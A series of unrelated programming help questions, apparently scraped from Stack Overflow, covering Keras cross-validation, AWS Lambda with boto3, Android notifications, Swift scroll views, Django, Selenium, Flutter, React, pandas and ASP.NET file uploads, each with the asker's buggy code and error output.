<p>I want to do KFold cross-validation on my CNN model in Keras as shown below:</p>
<pre><code>X = df.iloc[:,0:10165]
X = X.to_numpy()
X = X.reshape([X.shape[0], X.shape[1], 1])
X_train_1 = X[:,0:10080,:].reshape(921,10080)
X_train_2 = X[:,10080:10165,:].reshape(921,85)
Y = df.iloc[:,10168:10170]
num_classes = 2
cvscores = []
for train, test in kfold.split(X_train_1,X_train_2, Y):
inputs_1 = keras.Input(shape=(10080,1))
layer1 = Conv1D(64,14)(inputs_1)
layer2 = layers.MaxPool1D(5)(layer1)
layer3 = Conv1D(64, 14)(layer2)
layer4 = layers.GlobalMaxPooling1D()(layer3)
inputs_2 = keras.Input(shape=(85,))
layer5 = layers.concatenate([layer4, inputs_2])
layer6 = Dense(128, activation='relu')(layer5)
layer7 = Dense(2, activation='softmax')(layer6)
model_2 = keras.models.Model(inputs = [inputs_1, inputs_2], output = [layer7])
model_2.summary()
adam = keras.optimizers.Adam(lr = 0.0001)
model_2.compile(loss = 'categorical_crossentropy', optimizer = 'adam', metrics = ['acc'])
history = model_2.fit([X_train_1,X_train_2][train], Y[train], epochs = 120, batch_size = 256, callbacks = [keras.callbacks.EarlyStopping(monitor='val_loss', patience=50)])
scores = model.evaluate([X_train_1,X_train_2][test], Y[test], verbose=0)
print("%s: %.2f%%" % (model.metrics_names[1], scores[1]*100))
cvscores.append(scores[1] * 100)
print("%.2f%% (+/- %.2f%%)" % (np.mean(cvscores), np.std(cvscores)))
</code></pre>
<p>But I incurred error </p>
<pre><code>---------------------------------------------------------------------------
ValueError Traceback (most recent call last)
<ipython-input-20-20af389637bd> in <module>()
11
12 cvscores = []
---> 13 for train, test in kfold.split(X_train_1,X_train_2, Y):
14
15 inputs_1 = keras.Input(shape=(10080,1))
3 frames
/usr/local/lib/python3.6/dist-packages/sklearn/model_selection/_split.py in _make_test_folds(self, X, y)
639 raise ValueError(
640 'Supported target types are: {}. Got {!r} instead.'.format(
--> 641 allowed_target_types, type_of_target_y))
642
643 y = column_or_1d(y)
ValueError: Supported target types are: ('binary', 'multiclass'). Got 'continuous-multioutput' instead.
</code></pre>
<p>From <a href="https://github.com/keras-team/keras/blob/master/examples/mnist_mlp.py" rel="nofollow noreferrer">this post</a> and <a href="https://stackoverflow.com/questions/58585227/why-am-i-getting-supported-target-types-are-binary-multiclass-got-con">this question</a> I realised that I might have to convert <code>Y</code> to <code>binary</code> so I added <code>Y = keras.utils.to_categorical(Y, num_classes)</code> where <code>num_classes</code> is 2, but this didn't work. </p>
<p>What could be the problem? Thanks</p>
<hr>
<p>Edit</p>
<p>The data looks something like this, with last 2 columns as <code>Y</code>(labels). </p>
<pre><code>id x0 x1 x2 x3 x4 x5 ... x10079 mean var ... Y0 Y1
1 40 31.05 25.5 25.5 25.5 25 ... 33 24 1 1 0
2 35 35.75 36.5 26.5 36.5 36.5 ... 29 31 2 0 1
3 35 35.70 36.5 36.5 36.5 36.5 ... 29 25 1 1 0
4 40 31.50 23.5 24.5 26.5 25 ... 33 29 3 0 1
...
921 40 31.05 25.5 25.5 25.5 25 ... 23 33 2 0 1
</code></pre>
| 3 | 1,670 |
using boto3 in a python3 virtual env in AWS Lambda
|
<p>I am trying to use <strong>Python3.4</strong> and <strong>boto3</strong> to walk an <strong>S3</strong> bucket and publish some file locations to an <strong>RDS</strong> instance. The part of this effort I am having trouble with is when using boto3. My lambda function looks like the following:</p>
<pre><code>import subprocess
def lambda_handler(event, context):
args = ("venv/bin/python3.4", "run.py")
popen = subprocess.Popen(args, stdout=subprocess.PIPE)
popen.wait()
output = popen.stdout.read()
print(output)
</code></pre>
<p>and, in my <strong>run.py</strong> file I have some lines:</p>
<pre><code>import boto3
s3c = boto3.client('s3')
</code></pre>
<p>which cause an exception. The <strong>run.py</strong> file is not relevant for this question however, so in order make this post more concise, I've found that the cause of this error is generated with executing the lambda function:</p>
<pre><code>import subprocess
def lambda_handler(event, context):
args = ("python3.4", "-c", "import boto3; print(boto3.client('s3'))")
popen = subprocess.Popen(args, stdout=subprocess.PIPE)
popen.wait()
output = popen.stdout.read()
print(output)
</code></pre>
<p>My logstream reports the error:</p>
<pre><code>Event Data
START RequestId: 2b65421a-664d-11e6-81db-974c7c09d283 Version: $LATEST
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "/var/runtime/boto3/__init__.py", line 79, in client
return _get_default_session().client(*args, **kwargs)
File "/var/runtime/boto3/session.py", line 250, in client
aws_session_token=aws_session_token, config=config)
File "/var/runtime/botocore/session.py", line 818, in create_client
client_config=config, api_version=api_version)
File "/var/runtime/botocore/client.py", line 63, in create_client
cls = self._create_client_class(service_name, service_model)
File "/var/runtime/botocore/client.py", line 85, in _create_client_class
base_classes=bases)
File "/var/runtime/botocore/hooks.py", line 227, in emit
return self._emit(event_name, kwargs)
File "/var/runtime/botocore/hooks.py", line 210, in _emit
response = handler(**kwargs)
File "/var/runtime/boto3/utils.py", line 61, in _handler
module = import_module(module)
File "/var/runtime/boto3/utils.py", line 52, in import_module
__import__(name)
File "/var/runtime/boto3/s3/inject.py", line 13, in <module>
from boto3.s3.transfer import S3Transfer
File "/var/runtime/boto3/s3/transfer.py", line 135, in <module>
from concurrent import futures
File "/var/runtime/concurrent/futures/__init__.py", line 8, in <module>
from concurrent.futures._base import (FIRST_COMPLETED,
File "/var/runtime/concurrent/futures/_base.py", line 357
raise type(self._exception), self._exception, self._traceback
^
SyntaxError: invalid syntax
END RequestId: 2b65421a-664d-11e6-81db-974c7c09d283
REPORT RequestId: 2b65421a-664d-11e6-81db-974c7c09d283 Duration: 2673.45 ms Billed Duration: 2700 ms Memory Size: 1024 MB Max Memory Used: 61 MB
</code></pre>
<p>I need to use boto3 downstream of run.py. Any ideas on how to resolve this are much appreciated. Thanks!</p>
| 3 | 1,192 |
NotificationManager.notify locks the phone and Emulator
|
<p><strong>PROBLEM:</strong></p>
<p>The phone/emulator locks up on repeated Notification updates. The only way to get the emulator back responsive after it gets locked is by pressing Home => Menu => Lock => Home => Menu Button in that given order.</p>
<p><strong>CODE:</strong></p>
<p>Notification pushing code:</p>
<pre><code> // Set up notifcation views
SharedPreferences sp = PreferenceManager.getDefaultSharedPreferences(getApplicationContext());
NotificationManager notificationManager = (NotificationManager)getSystemService(NOTIFICATION_SERVICE); // Get notification manager
RemoteViews contentView = new RemoteViews(getPackageName(), R.layout.service_notification);
contentView.setViewVisibility(R.id.current_error_text, View.GONE);
contentView.setViewVisibility(R.id.error_text, View.GONE);
contentView.setViewVisibility(R.id.info_error_text, View.GONE);
contentView.setViewVisibility(R.id.info_text, View.GONE);
contentView.setViewVisibility(R.id.next_check_in_text, View.VISIBLE);
contentView.setViewVisibility(R.id.current_profile_text, View.VISIBLE);
contentView.setViewVisibility(R.id.profile_name_text, View.VISIBLE);
contentView.setTextViewText(R.id.next_check_in_text, mainText);
// Set profile text now
contentView.setTextViewText(R.id.profile_name_text, miniText);
// Set up a new notification
Notification notif = new Notification(R.drawable.service_logo_small, "Service is running", System.currentTimeMillis());
notif.contentView = contentView; // Set content view
// Create and plug in the PendingIntent
Intent notifIntent = new Intent(this, EntryPointActivity.class);
PendingIntent pIntent = PendingIntent.getActivity(this, 0, notifIntent, 0); // Set up the Pending Intent
notif.contentIntent = pIntent;
// Now set up notification flags
notif.flags |= Notification.FLAG_NO_CLEAR;
notif.flags |= Notification.FLAG_ONGOING_EVENT;
notif.flags |= Notification.FLAG_FOREGROUND_SERVICE;
if(sp.getBoolean("UpdateLights", true)) notif.flags |= Notification.DEFAULT_LIGHTS;
if(sp.getBoolean("UpdateVibrate", true)) notif.flags |= Notification.DEFAULT_VIBRATE;
if(sp.getBoolean("UpdateSound", true)) notif.flags |= Notification.DEFAULT_SOUND;
notificationManager.notify(R.string.app_name, notif);
</code></pre>
<p>All objects exist and the project compiles perfectly. I encounter NO NullPointerExceptions!</p>
<p>Code calling the notification creating function:</p>
<pre><code>final Timer timer = new Timer();
timer.scheduleAtFixedRate(new TimerTask(){
@Override
public void run() {
if(( nextUpdateIn - System.currentTimeMillis() ) > 0) {
long milliseconds = (nextUpdateIn - System.currentTimeMillis());
int seconds = (int) (milliseconds / 1000) % 60 ;
int minutes = (int) ((milliseconds / (1000*60)) % 60);
String toShow = "Next Check In: " + minutes + " minute" + ((minutes != 1) ? "s" : "") + " " + seconds + " second" + ((seconds != 1) ? "s" : "");
pushNotification(STATE_LOADEDSUCCESSFULLY, currentProfile.getProfileName(), toShow);
} else {
currentState = STATE_RELOADING;
pushNotification(STATE_RELOADING, null, "Refreshing..");
timer.cancel();
}
}
}, 1, 999);
</code></pre>
<p>Again, all objects exist!
The notification <strong>IS UPDATED</strong> in the above process but it locks up <strong>BOTH THE EMULATOR AND PHONE</strong> as mentioned above!</p>
<p><strong>AIM:</strong></p>
<p>To update notification in the Status Bar to basically show a countdown till the next refresh.</p>
<p>Please help me get rid of this error ASAP!</p>
<p>Thanks in advance :)</p>
<p>Regards,</p>
<p>Akshit Soota</p>
<p><strong>EDIT:</strong></p>
<p>I'm trying to run this code via a <strong>SERVICE</strong> and I've tried on emulators running Android 2.2, 2.3.3, 4.1 and all of them give me the same problem!</p>
| 3 | 1,484 |
How to update ScrollView Width after device rotation?
|
<p>I am following a <a href="https://www.youtube.com/watch?v=EKAVB_56RIU&t=617s" rel="nofollow noreferrer">tutorial</a> to create a swift app that adds a number of views to a scroll view and then allows me to scroll between them. I have the app working and understand it for the most part. When I change the orientation of the device the views width don't get updated so I have parts of more than one view controller on the screen? Does anybody know how to fix this? From my understanding I need to call something in the viewsDidTransition method to redraw the views. Any help would be greatly appreciated. Thanks!</p>
<p>Here is what I have so far:</p>
<pre><code>import UIKit
class ViewController: UIViewController {
private let scrollView = UIScrollView()
private let pageControl: UIPageControl = {
let pageControl = UIPageControl()
pageControl.numberOfPages = 5
pageControl.backgroundColor = .systemBlue
return pageControl
}()
override func viewDidLoad() {
super.viewDidLoad()
scrollView.delegate = self
pageControl.addTarget(self,
action: #selector(pageControlDidChange(_:)),
for: .valueChanged)
scrollView.backgroundColor = .red
view.addSubview(scrollView)
view.addSubview(pageControl)
}
@objc private func pageControlDidChange(_ sender: UIPageControl){
let current = sender.currentPage
scrollView.setContentOffset(CGPoint(x: CGFloat(current) * view.frame.size.width,
y: 0), animated: true)
}
override func viewDidLayoutSubviews() {
super.viewDidLayoutSubviews()
pageControl.frame = CGRect(x: 10, y: view.frame.size.height - 100, width: view.frame.size.width - 20, height: 70)
scrollView.frame = CGRect(x: 0, y: 0, width: view.frame.size.width, height: view.frame.size.height - 100)
if scrollView.subviews.count == 2 {
configureScrollView()
}
}
private func configureScrollView(){
scrollView.contentSize = CGSize(width: view.frame.size.width*5, height: scrollView.frame.size.height)
scrollView.isPagingEnabled = true
let colors: [UIColor] = [.systemRed, .systemGray, .systemGreen, .systemOrange, .systemPurple]
for x in 0..<5{
let page = UIView(frame: CGRect(x: CGFloat(x) * view.frame.size.width, y: 0, width: view.frame.size.width, height: scrollView.frame.size.height))
page.backgroundColor = colors[x]
scrollView.addSubview(page)
}
}
override func viewWillTransition(to size: CGSize, with coordinator: UIViewControllerTransitionCoordinator) {
print("hello world")
}
}
extension ViewController: UIScrollViewDelegate {
func scrollViewDidScroll(_ scrollView: UIScrollView) {
pageControl.currentPage = Int(floorf(Float(scrollView.contentOffset.x) / Float(scrollView.frame.size.width)))
}
}
</code></pre>
| 3 | 1,312 |
Check whether exists index k such that elements of array A[] moved clockwise make a reverse bitonic array
|
<p>Check whether exists index <code>0 <= k < n - 2</code> such that elements of array <code>A[]</code> moved clockwise by <code>k</code> indexes make a reverse bitonic array.
My approach to do it in <strong>O(n)</strong> time complexity:</p>
<pre><code>bool is_antibitonicable(int A[], int n) {
// returns if there is such index k that
// after moving clockwise k elements of array
// A[], that array is reverse bitonic
// - strictly decreasing then strictly
// increasing
if (n < 3)
return false;
// if is_increasing[i] == 1 means this part of A[] is increasing,
// == 0 means that part of A[] is decreasing, == -1 default
int is_increasing[3] = { -1, -1, -1 };
for (int i = 0, j; i < n - 1;) {
if (A[i] < A[i + 1]) { // if A[] is increasing
j = 0;
while (j < 3 && is_increasing[j] != -1)
j++;
if (j == 3)
return false;
is_increasing[j] = 1;
while (i < n - 1 && A[i] < A[i + 1])
i++;
}
else if (A[i] > A[i + 1]) { // check if decreasing
j = 0;
while (j < 3 && is_increasing[j] != -1)
j++;
if (j == 3)
return false;
is_increasing[j] = 0;
while (i < n - 1 && A[i] > A[i + 1])
i++;
}
else // sequence of A[] is neither increasing nor decreasing
return false;
}
// if A[] is only increasing/decreasing
if (is_increasing[1] == is_increasing[2])
return false;
// if A[] is increasing->decreasing->increasing check if increasing
// parts can be merged into one increasing sequence
if (is_increasing[0] == 1 && is_increasing[1] == 0 && is_increasing[2] == 1)
return (A[0] > A[n - 1]);
// decreasing->increasing->decreasing
if (is_increasing[0] == 0 && is_increasing[1] == 1 && is_increasing[2] == 0)
return (A[0] < A[n - 1]);
return true; // increasing -> decreasing or opposite
}
</code></pre>
<p>I'd be very glad if someone could look at my solution and comment whether it seems correct or how to do it better, any feedback will be appreciated.</p>
| 3 | 1,071 |
how can I return all object's id and placed in my_result objects? [django]
|
<p>when I submit this form always returns to me the value of id 1 only and when I tried to replace another value I wrote 2 has returned to me this value indeed. then I understood that this loop process doesn't work and I knew that because of (return). so, I need to know how can I return all object's id and placed in my_result objects</p>
<p>views.py</p>
<pre><code>from django.shortcuts import render
from .models import Section, Question, Result
from django.http import HttpResponseNotFound
def index(request):
text = "this is from views of exam app!"
return render(request, 'exam/index.html', {'text': text})
def section_list(request):
try:
sections = Section.objects.all()
except:
return HttpResponseNotFound("Error")
return render(request, 'exam/section.html', {'portals': sections})
def my_question(request, q_id):
sections = Section.objects.get(id=q_id)
template_name = 'exam/question.html'
try:
answer = request.POST['answer']
for result in Result.objects.all():
result_id = result.result_question_id
my_result = Result.objects.filter(id=result_id)
return render(request, template_name, {'repr': repr(my_result)})
except:
return render(request, template_name, {'sections': sections, 'error_message': 'You have to select one of the following answer'})
return render(request, template_name, {'sections': sections})
</code></pre>
<p>urls.py</p>
<pre><code>from . import views
from django.urls import path
from django.conf.urls import url
app_name = "exam"
urlpatterns = [
# /index/
path('', views.index, name="index"),
# /index/section/
path('portal/', views.section_list, name="portal"),
# /index/question/10/
path(r'question/<int:q_id>/', views.my_question, name="question"),
]
</code></pre>
<p>models.py</p>
<pre><code>from django.db import models
class Section(models.Model):
portal = models.CharField(max_length=100)
def __str__(self):
return self.portal
class Question(models.Model):
section = models.ForeignKey(Section, on_delete=models.CASCADE)
question = models.CharField(max_length=100)
choice = models.BooleanField(default=False)
ans1 = models.CharField(max_length=100)
ans2 = models.CharField(max_length=100)
ans3 = models.CharField(max_length=100)
ans4 = models.CharField(max_length=100)
def __str__(self):
return self.question
class Result(models.Model):
result_question = models.ForeignKey(Question, on_delete=models.CASCADE)
result = models.CharField(max_length=100)
def __str__(self):
return self.result
</code></pre>
<p>question.html</p>
<pre><code>{% extends 'base.html' %}
{% block title %} Question Page {% endblock %}
{% block body %}
{% if error_message %}
<div class="notes">
<div class="container">
<div class="alert alert-info">
<strong>Info!</strong> {{ error_message }}
</div>
</div>
</div>
{% endif %}
<div class="questions">
<div class="container">
{% for section in sections.question_set.all %}
<h2>{{ section.question }}</h2>
<form method="post">
{% csrf_token %}
<div class="answer">
<input type="radio" name="answer" id="{{ section.ans1 }}" value="{{ section.ans1 }}">
<label for="{{ section.ans1 }}">{{ section.ans1 }}</label>
{% if false_answer %}
<span class="false-message">{{ false_answer }}</span>
{% elif true_answer %}
<span class="true-message">{{ true_answer }}</span>
{% endif %}
</div>
<div class="answer">
<input type="radio" name="answer" id="{{ section.ans2 }}" value="{{ section.ans2 }}">
<label for="{{ section.ans2 }}">{{ section.ans2 }}</label>
{% if false_answer %}
<span class="false-message">{{ false_answer }}</span>
{% elif true_answer %}
<span class="true-message">{{ true_answer }}</span>
{% endif %}
</div>
<div class="answer">
<input type="radio" name="answer" id="{{ section.ans3 }}" value="{{ section.ans3 }}">
<label for="{{ section.ans3 }}">{{ section.ans3 }}</label>
{% if false_answer %}
<span class="false-message">{{ false_answer }}</span>
{% elif true_answer %}
<span class="true-message">{{ true_answer }}</span>
{% endif %}
</div>
<div class="answer">
<input type="radio" name="answer" id="{{ section.ans4 }}" value="{{ section.ans4 }}">
<label for="{{ section.ans4 }}">{{ section.ans4 }}</label>
{% if false_answer %}
<span class="false-message">{{ false_answer }}</span>
{% elif true_answer %}
<span class="true-message">{{ true_answer }}</span>
{% endif %}
</div>
<button class="btn btn-success">Next</button>
{{ section.id }}
{{ result.result_question_id }}
</form>
{% endfor %}
{% if repr %}
{{ repr }}
{% endif %}
</div>
</div>
{% endblock %}
</code></pre>
| 3 | 3,075 |
How to select value from search dropdown In selenium
|
<p>I need to import all the values from a dropdown menu to combobox in my GUI .</p>
<p>After that I need to select a value by click on combobox. </p>
<p>but it did not work.
Please help me with selecting a value from the dropdown.
How do i get all text values available in the dropdown ?</p>
<pre class="lang-py prettyprint-override"><code>
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
from selenium.common.exceptions import TimeoutException
from PyQt5.QtWidgets import QApplication
from selenium import webdriver
from selenium.webdriver.support.ui import Select
from selenium.common.exceptions import StaleElementReferenceException
from selenium.webdriver.common.keys import Keys
from PyQt5 import QtCore, QtGui, QtWidgets
from PyQt5.QtGui import QIcon, QPixmap
import time
import os
def first(self):
url = 'https://www....aspx'
driver = webdriver.Chrome(executable_path="chromedriver.exe")
driver.get(url)
s1 = Select(driver.find_element_by_id('select2-ctl00_PlaceHolderMain_oDistributionUC_ddlClass-container'))
all_options = s1.options
for options in all_options:
self.comboBoxClass.addItem(options.text)
print(options.text)
self.comboBoxClass.activated.connect(self.loading_2)
def loading_2(self):
s1.select_by_visible_text(str(self.comboBoxClass.currentText()))
</code></pre>
<p>HTML code:</p>
<pre class="lang-html prettyprint-override"><code>
<div id="ctl00_PlaceHolderMain_oDistributionUC_oClassUpdatePanel">
<div id="ctl00_PlaceHolderMain_oDistributionUC_trEmptyRow" class="col-xs-12 no_padding">
<div class="col-xs-5 col-sm-4">
<span class="manditory"></span>
</div>
<div class="col-xs-7 col-sm-8 feild_data">
</div>
</div>
<div id="ctl00_PlaceHolderMain_oDistributionUC_trClass" class="col-xs-12 no_padding">
<div class="col-xs-5 col-sm-4 feild_title divDistributionSearchTitle">
<span id="ctl00_PlaceHolderMain_oDistributionUC_tdStar04" class="manditory">*</span>
<span id="ctl00_PlaceHolderMain_oDistributionUC_lblClass" class="StandardFont" style="display:inline-block;width:120px;">class</span>
</div>
<div class="col-xs-7 col-sm-8 feild_data divDistributionSearchData">
<select name="ctl00$PlaceHolderMain$oDistributionUC$ddlClass" onchange="javascript:setTimeout(&#39;__doPostBack(\&#39;ctl00$PlaceHolderMain$oDistributionUC$ddlClass\&#39;,\&#39;\&#39;)&#39;, 0)" id="ctl00_PlaceHolderMain_oDistributionUC_ddlClass" class="control-dropdownlist" style="width:100%;">
<option selected="selected" value="-99">-- chose --</option>
<option value="1,1">good1 </option>
<option value="2,1">good2 </option>
<option value="3,1">good3 </option>
<option value="4,1">good4 </option>
<option value="5,1">good5 </option>
<option value="6,1">good6 </option>
</select>
<div id="ctl00_PlaceHolderMain_oDistributionUC_tdValidatorClass">
<div id="ctl00_PlaceHolderMain_oDistributionUC_oUpdatePanelrfvClass">
<span id="ctl00_PlaceHolderMain_oDistributionUC_rfvClass" class="ValidationClass" style="display:inline-block;width:100px;display:none;"> chose class.</span>
</code></pre>
<p>value like good1,good2,good3,...</p>
<p>update:</p>
<p>Thanks NitishKshirsagar
this is working now:</p>
<pre class="lang-py prettyprint-override"><code>drop_down = driver.find_element_by_css_selector('#ctl00_PlaceHolderMain_oDistributionUC_trClass .divDistributionSearchData')
ActionChains(driver).move_to_element(drop_down).perform()
drop_down.click()
drop_down = driver.switch_to.active_element
element = driver.find_element_by_css_selector("#ctl00_PlaceHolderMain_oDistributionUC_trClass .divDistributionSearchData select")
all_options = element.find_elements_by_tag_name("option")
for option in all_options:
print(option.text)
</code></pre>
| 3 | 1,924 |
Stop animation after time
|
<p>My application's main screen contains a SliverAppBar with three TabBarViews.</p>
<pre><code>Widget build(BuildContext context) {
return _loaded
? Scaffold(
backgroundColor: mainBgColor,
body: MaterialApp(
theme: ThemeData(
iconTheme: iconsStyle,
),
home: NestedScrollView(
controller: _scrollViewController,
headerSliverBuilder:
(BuildContext context, bool boxIsScrolled) {
return <Widget>[
SliverAppBar(
collapsedHeight: 80,
title: Text(
actor.name,
style: kNavTextStyle,
),
leading: IconButtonWidget(false),
iconTheme: kBackButtonStyle,
centerTitle: true,
backgroundColor: thirdColor,
pinned: true,
floating: true,
forceElevated: boxIsScrolled,
bottom: TabBar(
labelColor: secondaryColor,
labelStyle: const TextStyle(
fontFamily: 'DynaPuff',
fontWeight: FontWeight.w100,
fontSize: 17),
indicatorSize: TabBarIndicatorSize.tab,
indicator: const BoxDecoration(
borderRadius: BorderRadius.only(
topLeft: Radius.circular(10),
topRight: Radius.circular(10)),
color: mainBgColor,
),
tabs: _tabs,
controller: _tabController,
),
)
];
},
body: TabBarView(
controller: _tabController,
children: _tabBars,
),
),
),
)
: const LoadingWidget();
}
</code></pre>
<p>The first of the _tabBars contains an image that has an animation. The first time (when the app is loaded) I want to show this animation and then stop it. The problem is if I change the tab and step back to the first tab, the animation is shown again.</p>
<p>Is there any way to take care of it?</p>
<p>This is the code of the widget with the animation:</p>
<pre><code> AnimationController _animController;
Animation<Offset> _animation;
@override
void initState() {
_animController = AnimationController(
duration: const Duration(milliseconds: 500),
vsync: this,
)..forward();
_animation = Tween<Offset>(
begin: const Offset(1.0, 0.0),
end: const Offset(0.0, 0.0),
).animate(CurvedAnimation(
parent: _animController,
curve: Curves.decelerate,
));
super.initState();
}
@override
Widget build(BuildContext context) {
return SlideTransition(
position: _animation,
child: SizedBox(
width: double.maxFinite,
child: Column(
mainAxisSize: MainAxisSize.max,
mainAxisAlignment: MainAxisAlignment.spaceEvenly,
children: [
SizedBox(
height: 250,
child: Image.asset('images/hurray.png'),
),
Text(
cardText,
textAlign: TextAlign.center,
),
],
),
),
);
}
}
</code></pre>
| 3 | 2,004 |
React apply function to single item in array
|
<p>The following code creates a simple movie rating app. Everything works except that when an up or down vote is clicked in one of the array items, the votes state for all items in the array update, rather than just for the item that was clicked. How do I code this so that the vote only applies to the item where it was clicked?</p>
<pre><code>class Ratings extends React.Component {
constructor(props){
super(props);
this.state = {
votes: 0
};
this.add = this.add.bind(this);
this.subtract = this.subtract.bind(this);
this.reset = this.reset.bind(this);
}
add(event){
this.setState ({
votes: this.state.votes + 1
})
}
subtract(event){
this.setState ({
votes: this.state.votes - 1
})
}
reset(event){
this.setState ({
votes: 0
})
}
render () {
this.movies = this.props.list.map(x => {
return (
<div key={x.id} className="movierater">
<MoviePoster poster={x.img}/>
<h1 className="title">{x.name}</h1>
<div className="votewrapper">
<button onClick={this.add}><i className="votebutton fa fa-thumbs-o-up" aria-hidden="true"></i></button>
<Votes count={this.state.votes} />
<button onClick={this.subtract}><i className="votebutton fa fa-thumbs-o-down" aria-hidden="true"></i></button>
</div>
<button onClick={this.reset} className="reset">Reset</button>
</div>
)
});
return (
<div>
{this.movies}
</div>
);
}
}
function MoviePoster(props) {
return (
<img src={props.poster} alt="Movie Poster" className="poster"/>
);
}
function Votes(props) {
return (
<h2>Votes: {props.count}</h2>
);
}
var movieposters = [
{id: 1, img:"http://www.impawards.com/2017/posters/med_alien_covenant_ver4.jpg", name: "Alien Covenant"},
{id: 2, img:"http://www.impawards.com/2017/posters/med_atomic_blonde_ver4.jpg", name: "Atomic Blonde"},
{id: 3, img:"http://www.impawards.com/2017/posters/med_easy_living_ver3.jpg", name: "Easy Living"},
{id: 4, img:"http://www.impawards.com/2017/posters/med_once_upon_a_time_in_venice_ver3.jpg", name: "Once Upon a Time in Venice"},
{id: 5, img:"http://www.impawards.com/2017/posters/med_scorched_earth.jpg", name: "Scorched Earth"},
{id: 6, img:"http://www.impawards.com/2017/posters/med_underworld_blood_wars_ver9.jpg", name: "Underworld: Blood Wars"},
{id: 7, img:"http://www.impawards.com/2017/posters/med_void.jpg", name: "The Void"},
{id: 8, img:"http://www.impawards.com/2017/posters/med_war_for_the_planet_of_the_apes.jpg", name: "War for the Planet of the Apes"},
]
ReactDOM.render(
<Ratings list={movieposters} />,
document.getElementById('app')
);
</code></pre>
| 3 | 1,550 |
Change Name of some columns in multindex dataframe by splitting their current name into two levels
|
<p>I have the following dataframe,</p>
<pre><code> AA46 AE48 \
Open High Low Close Open High Low
2018-08-31 72.5700 72.5700 72.5700 72.5700 67.9300 67.9300 67.9300
2018-08-30 74.7800 74.7800 74.7800 74.7800 70.6700 69.8000 70.6700
2018-08-29 76.8600 76.8600 76.8600 76.8600 72.4900 72.4900 72.4900
2018-08-28 77.5700 77.5700 77.5700 77.5700 71.7400 71.7400 71.7400
2018-08-27 77.0000 77.0000 77.0000 77.0000 72.2400 72.2400 72.2400
Date AA46_accrued_interest AA46_ytm AA46_md \
Close
2018-08-31 67.9300 2018-08-31 2.732292 0.110273 8.768597
2018-08-30 69.8000 2018-08-30 2.711111 0.106907 8.981324
2018-08-29 72.4900 2018-08-29 2.689931 0.103867 9.181275
2018-08-28 71.7400 2018-08-28 2.668750 0.102863 9.248629
2018-08-27 72.2400 2018-08-27 2.647569 0.103666 9.195037
AE48_accrued_interest AE48_ytm AE48_md beta0 beta1
2018-08-31 0.954861 0.106488 9.206760 0 0
2018-08-30 0.935764 0.103583 9.411606 0 0
2018-08-29 0.916667 0.075194 15.210533 0 0
2018-08-28 0.897569 0.100684 9.624328 0 0
2018-08-27 0.878472 0.075965 15.036988 0 0
</code></pre>
<p>Where there are columns with two index names and other that have names with "_" in the middle. I would like the later ones to have the same format of the first ones.</p>
<p>For example I would like the column AA46_accrued_interest a first index level AA46 and a second one being accrued_interest.</p>
<p>Thank you.</p>
| 3 | 1,093 |
Laravel - Issues with Vue and Javascript
|
<p>Using</p>
<ul>
<li>Laravel 5.7</li>
<li>Buefy 0.7.3</li>
<li>Vue 2.5.17</li>
</ul>
<p>In my project, I have a sidebar which has elements that slide down up with javascript code .. and in my page, I have a <code>Tab</code> from <code>Buefy</code>
Now I notice that every page contains any <code>Vue</code> object .. the javascript code dosen’t work so the sidebar elements didn’t slide down or up as expected .. but it works well in the other pages</p>
<p>show.blade.php (example)</p>
<pre><code>@section('content')
<b-tabs>
<b-tab-item label="Pictures">
Lorem ipsum dolor sit amet.
</b-tab-item>
<b-tab-item label="Music">
Lorem <br>
ipsum <br>
</b-tab-item>
</b-tabs>
@endsection
@section('scripts')
<script>
var app = new Vue({
el: '#app',
data: {
}
});
</script>
@endsection
</code></pre>
<p>sidebar.blade</p>
<pre><code><div class="side-menu" id="admin-side-menu">
<aside class="menu">
<p class="menu-label">
General
</p>
<!--./menu-label-->
<ul class="menu-list">
<a href="{{route('dashboard.index')}}" class="{{Nav::isRoute('dashboard.index')}}">
<span class="icon"><i class="fas fa-tachometer-alt m-l-5"></i></span>{{__('site.dashboard')}}
</a>
</ul>
<p class="menu-label">
Content
</p>
<!--./menu-label-->
<ul class="menu-list">
<li>
<a href="{{route('dashboard.users.index')}}" class="{{Nav::isResource('users')}}">
<span class="icon"><i class="fas fa-users m-l-5"></i></span>{{__('site.users')}}
</a>
</li>
</ul>
<p class="menu-label">
Administration
</p>
<ul class="menu-list">
<li>
<a class="has-submenu {{Nav::hasSegment(['roles', 'permissions'], 2)}}">
<span class="icon"><i class="fas fa-cog m-l-5"></i></span>{{__('site.roles')}} و
{{__('site.permissions')}}
</a>
<ul class="submenu">
<li><a href="{{route('dashboard.roles.index')}}" class="{{Nav::isResource('roles')}}">{{__('site.roles_list')}}
</a></li>
<li><a href="{{route('dashboard.permissions.index')}}" class="{{Nav::isResource('permissions')}}">{{__('site.permissions_list')}}</a></li>
</ul>
</li>
</ul>
</aside>
</div>
</code></pre>
<p>Dashboard.js</p>
<pre><code>const accordions = document.getElementsByClassName('has-submenu')
function setSubmenuStyles(submenu, maxHeight, margins) {
submenu.style.maxHeight = maxHeight
submenu.style.marginTop = margins
submenu.style.marginBottom = margins
}
for (var i = 0; i < accordions.length; i++) {
if (accordions[i].classList.contains('is-active')) {
const submenu = accordions[i].nextElementSibling
setSubmenuStyles(submenu, submenu.scrollHeight + "px", "0.75em")
}
accordions[i].onclick = function () {
this.classList.toggle('is-active')
const submenu = this.nextElementSibling
if (submenu.style.maxHeight) {
// menu is open, we need to close it now
setSubmenuStyles(submenu, null, null)
} else {
// meny is close, so we need to open it
setSubmenuStyles(submenu, submenu.scrollHeight + "px", "0.75em")
}
}
}
</code></pre>
<p>App.js</p>
<pre><code>window.Vue = require('vue');
import Buefy from 'buefy'
Vue.use(Buefy)
require('./dashboard')
</code></pre>
<p>there is no errors in console</p>
| 3 | 2,135 |
How to deal with input=file / IFormFile two-way binding in Razor Pages
|
<p>I have an entity that has byte[] to store logos in the database as varbinary. But to use this model on a Razor Page, I have extended it and added a IFormFile property to receive the uploaded file.</p>
<pre><code>public class Company
{
public string Name { get; set; }
public byte[] Logo { get; set; }
}
</code></pre>
<pre><code>public class CompanyModel : Company
{
[DataType(DataType.Upload)]
[FromForm(Name = "UploadedLogo")]
public IFormFile UploadedLogo { get; set; }
}
</code></pre>
<p>And in a method I fetch this company from the database and set IFormFile accordingly:</p>
<pre><code>var response = await _companyService.GetByIdAsync(id);
if (response != null)
{
if (response.Logo != null)
{
using (var stream = new MemoryStream(response.Logo))
{
